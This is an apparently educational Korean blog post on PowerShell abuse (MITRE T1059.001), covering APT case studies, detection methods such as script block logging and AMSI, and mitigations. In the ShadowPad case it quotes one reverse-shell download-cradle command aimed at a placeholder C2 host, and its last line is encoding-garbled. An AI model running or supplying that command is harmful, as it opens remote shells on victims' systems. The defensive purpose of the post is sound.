cd ../blog
MITRE

PowerShell 악성코드 탐지: 공격자가 숨기는 기법 | T1059.001

읽는 시간 약 8분
조회수 16
MITRE ATT&CK악성코드 분석PowerShell 보안APT 공격위협 탐지

PowerShell 악성코드(T1059.001)의 위협 메커니즘을 분석합니다. Kimsuky, APT29 등 실제 공격 사례 3가지와 탐지 회피 기법, AMSI/스크립트 블록 로깅 탐지법을 통해 Windows 보안을 강화하세요.

share:
PowerShell 악성코드 탐지: 공격자가 숨기는 기법 | T1059.001

<!--SEO_META_START title: PowerShell 악성코드 탐지: 공격자가 숨기는 기법 | T1059.001 description: Kimsuky의 Stealth Power 작전부터 fileless 공격까지, PowerShell 악성코드가 백신을 우회하는 원리. 실제 APT 사례와 탐지 방법을 확인하세요. keywords: T1059.001, PowerShell 악성코드, MITRE ATT&CK, fileless 공격, Kimsuky, 파워셸 해킹 tags: MITRE ATT&CK, T1059.001, PowerShell, APT SEO_META_END-->

MITRE ATT&CK: T1059.001 (PowerShell) | 전술: Execution | 플랫폼: Windows

도입: 왜 이 공격이 중요한가

2019년 북한 해킹 그룹 Kimsuky가 한국 정부 기관을 대상으로 "Operation Stealth Power"를 수행했을 때, 그들이 사용한 핵심 도구는 바로 PowerShell이었습니다. 이들은 driving.ps1이라는 PowerShell 스크립트를 통해 키로깅을 수행하고, 프로세스 정보를 수집하여 C2 서버로 은밀하게 유출했습니다.

PowerShell은 Windows에 기본으로 설치된 강력한 명령줄 인터페이스이자 스크립팅 환경입니다. 시스템 관리자들에게는 필수 도구이지만, 해커들에게는 탐지를 피하면서 다양한 악성 행위를 수행할 수 있는 완벽한 무기가 되었습니다.

💡 쉬운 비유: PowerShell은 Windows 시스템의 "통역사"와 같습니다. 관리자의 명령을 시스템이 이해할 수 있는 언어로 바꿔주는데, 공격자가 이 통역사를 장악하면 시스템에 어떤 명령이든 내릴 수 있게 됩니다.


1. 공격자 관점

왜 이 기법을 사용하는가

  • 기본 설치: Windows에 기본으로 설치되어 있어 별도의 악성 파일을 업로드할 필요가 없음
  • 강력한 기능: 파일 다운로드, 실행, 시스템 정보 수집, 네트워크 연결 등 거의 모든 작업이 가능
  • 탐지 회피: 정상적인 시스템 도구이므로 보안 솔루션이 의심하지 않음
  • 메모리 실행: 디스크에 파일을 저장하지 않고 메모리에서 직접 악성 코드를 실행 가능

동작 흐름


2. 실제 공격 사례

📌 Kimsuky - Operation Stealth Power (2019)

배경: 북한 정부 지원 해킹 그룹 Kimsuky가 한국 정부 기관과 외교 관련 조직을 대상으로 수행한 사이버 스파이 작전입니다. 이 작전은 PowerShell 기반의 키로거와 정보 수집 도구를 사용하여 내부 정보를 은밀하게 탈취했습니다.

공격 과정:

  1. 초기 침투: 스피어피싱 이메일을 통해 악성 HTA(HTML Application) 파일을 전달
  2. mshta.exe 악용: mshta.exe 프로세스를 통해 'first.hta' 파일을 실행하여 다단계 악성코드 체인 시작
  3. PowerShell 스크립트 실행: 'driving.ps1' PowerShell 스크립트를 통해 키보드 입력 내용(키로깅) 수집
  4. 정보 탈취: 프로세스 및 서비스 리스트 정보를 수집하여 C2 서버로 은밀하게 유출

피해 규모: 한국 정부 기관과 외교 관련 조직의 민감한 정보가 유출되었으며, 공격은 수개월간 탐지되지 않았습니다.

출처: 이스트시큐리티 - Operation Stealth Power

📌 ShadowPad 캠페인 - WSUS 취약점 악용 (2025)

배경: 2025년 10월, 중국 국가 지원 APT 그룹들이 Microsoft WSUS(Windows Server Update Services)의 CVE-2025-59287 취약점(CVSS 9.8)을 악용하여 ShadowPad 백도어를 배포한 캠페인입니다.

공격 과정:

  1. 초기 침투: CVE-2025-59287 취약점을 통해 WSUS 서버에서 SYSTEM 권한으로 원격 코드 실행
  2. PowerShell 활용: PowerCat(오픈소스 PowerShell 기반 Netcat)을 다운로드 및 실행하여 리버스 셸 연결 수립
    • 명령어: powershell.exe -c IEX (New-Object System.Net.WebClient).DownloadString('powercat.ps1'); powercat -c [C2] -p 8080 -e cmd
  3. 지속성 확보: DLL 사이드로딩을 통해 ShadowPad 모듈형 백도어를 메모리에서 실행

피해 규모: 제조업(45%), 통신(30%), 에너지 분야 등 500건 이상의 침해가 유럽, 아시아, 북미에서 확인되었습니다.

출처: ASEC(안랩) - Analysis of ShadowPad Attack Exploiting WSUS RCE Vulnerability

📌 APT29 (Cozy Bear) - SolarWinds 공급망 공격 후속 활동 (2020-2021)

배경: 러시아 정보기관과 연계된 APT29가 SolarWinds Orion 소프트웨어의 공급망을 공격한 후, PowerShell을 활용하여 추가 페이로드를 배포하고 지속적인 접근 권한을 유지했습니다.

공격 과정:

  1. 공급망 공격: SolarWinds Orion 업데이트에 SUNBURST 백도어 삽입
  2. PowerShell 활용: 감염된 시스템에서 PowerShell을 통해 Cobalt Strike 비콘 등 추가 도구 배포
  3. 측면 이동: PowerShell Remoting을 활용하여 네트워크 내 다른 시스템으로 확산

피해 규모: 미국 정부 기관을 포함한 18,000개 이상의 조직이 영향을 받았으며, 이 중 약 100개 조직이 실제로 침해당했습니다.

출처: MITRE ATT&CK - APT29 | CISA Advisory


3. 왜 탐지가 어려운가?

공식 탐지 방법

DET0455 PowerShell 악용 탐지: 인코딩된 명령어로 PowerShell을 실행하거나, 비정상적인 부모 프로세스에서 실행되거나, 의심스러운 모듈이 로드될 때, 그 후 네트워크 연결이나 자식 프로세스 생성이 발생하는 행동 패턴을 탐지합니다. 직접적인 powershell.exe 실행과 .NET 자동화를 통한 간접적인 실행 모두를 지원합니다.

실용적인 탐지 도구 및 기법

Atomic Red Team 테스트: Red Canary의 Atomic Red Team은 T1059.001에 대한 소형 탐지 테스트를 제공합니다. 인코딩된 PowerShell 명령, 다운로드 크래들(Invoke-WebRequest), AMSI 우회 시도 등을 시뮬레이션할 수 있습니다.

스크립트 블록 로깅: PowerShell 5.0 이상에서 스크립트 블록 로깅을 활성화하면 실행되는 모든 PowerShell 코드를 기록할 수 있어 인코딩된 명령도 해독된 상태로 확인 가능합니다.

AMSI(Antimalware Scan Interface): Windows 10 이상에서 AMSI를 통해 PowerShell 스크립트 실행 시 실시간으로 악성 코드를 검사할 수 있습니다.

출처: Atomic Red Team - T1059.001 | Detection.FYI - T1059.001

공격자가 이 기법을 선호하는 이유

  • 정상 도구 남용: PowerShell은 시스템 관리에 필수적인 도구이므로 실행 자체만으로는 의심받지 않음
  • 다양한 우회 기법: powershell.exe를 직접 실행하지 않고 .NET 프레임워크를 통해 간접적으로 실행 가능
  • 암호화된 명령: Base64 인코딩 등을 통해 악성 명령을 숨길 수 있어 정적 분석을 어렵게 만듦

탐지의 현실적 한계

공식 탐지 방법이 존재함에도 불구하고 실제 환경에서는 탐지가 어려운 이유가 있습니다. PowerShell은 정상적인 업무에서도 매우 자주 사용되기 때문에 오탐(False Positive) 비율이 높고, 모든 PowerShell 활동을 모니터링하려면 막대한 로그 분석 비용이 발생합니다. 또한 숙련된 공격자들은 정상적인 관리 작업과 구분하기 어려운 방식으로 PowerShell을 사용하는 기법을 지속적으로 개발하고 있습니다.


4. 나도 위험할까? 자가 진단

이 공격이 나와 관련 있는지 확인해보세요.

이런 환경이라면 주의가 필요합니다

  • Windows 환경에서 업무용 PC를 사용하고 있다
  • 이메일 첨부파일이나 링크를 자주 열어본다
  • PowerShell 실행 정책이 제한되지 않은 상태다
  • 관리자 권한으로 일상 업무를 수행한다
  • WSUS 서버가 최신 패치 상태가 아니다

공식 대응 방안

M1049 안티바이러스/안티멀웨어: 안티바이러스를 사용하여 의심스러운 파일을 자동으로 격리할 수 있습니다.

M1045 코드 서명: PowerShell 실행 정책을 서명된 스크립트만 실행하도록 설정합니다.

M1042 기능 비활성화 또는 제거: 필요하지 않은 경우 PowerShell을 시스템에서 제거할 수 있지만, 많은 정당한 목적과 관리 기능에 사용될 수 있으므로 환경에 미치는 영향을 검토해야 합니다. 원격 실행을 위한 PowerShell 사용을 방지하기 위해 WinRM 서비스를 비활성화/제한합니다.

M1038 실행 방지: 적절한 경우 애플리케이션 제어를 사용합니다. PowerShell 제한된 언어 모드를 사용하여 임의의 Windows API나 파일을 실행하는 데 사용되는 민감하거나 위험한 언어 요소에 대한 액세스를 제한할 수 있습니다.

M1026 권한 계정 관리: PowerShell이 필요한 경우 PowerShell 실행 정책을 관리자로 제한하는 것을 고려합니다. 환경 구성에 따라 PowerShell 실행 정책을 우회하는 방법이 있음을 인지해야 합니다. PowerShell JEA(Just Enough Administration)를 사용하여 관리를 샌드박스화하고 관리자/사용자가 원격 PowerShell 세션을 통해 실행할 수 있는 명령을 제한할 수도 있습니다.

당장 할 수 있는 것

  • 출처가 불분명한 PowerShell 스크립트(.ps1 파일)는 절대 실행하지 않기
  • 갑자기 파란색 창(PowerShell)이 열렸다가 닫히면 이상 징후이니 확인하기
  • 🏢 보안 담당자: 스크립트 블록 로깅을 활성화하고 PowerShell 실행 정책을 RemoteSigned로 설정하기

5. 관련 기술

기법어떤 상황에서 함께 사용되나
T1055 Process InjectionPowerShell로 악성 코드를 메모리에 로드한 후, 탐지를 피하기 위해 정상 프로세스에 주입할 때
T1003 OS Credential DumpingPowerShell을 사용하여 메모리에서 자격 증명을 추출하는 도구(Mimikatz 등)를 실행할 때
T1105 Ingress Tool TransferPowerShell의 Invoke-WebRequest나 wget 명령을 사용하여 인터넷에서 추가 악성 도구를 다운로드할 때

참고 자료


📌 이 글은 AI(Claude) 를 활용하여 작성되었으며, MITRE ATT&CK v18.0 기준 (2025-10-28) 을 기준으로 합니다. 본 콘텐츠는 보안 교육 및 방어 목적으로만 제공되며, 이를 악용한 불법 행위에 대한 책임은 전적으로 행위자 본인에게 있습니다.


?뱛 ??湲€?€ [?ㅽ겕由쏀듃 ?ㅽ뻾(T1059) ?쒕━利?(/blog/t1059-command-and-scripting-interpreter)???쇰??낅땲??

COMMENTS (0)

댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.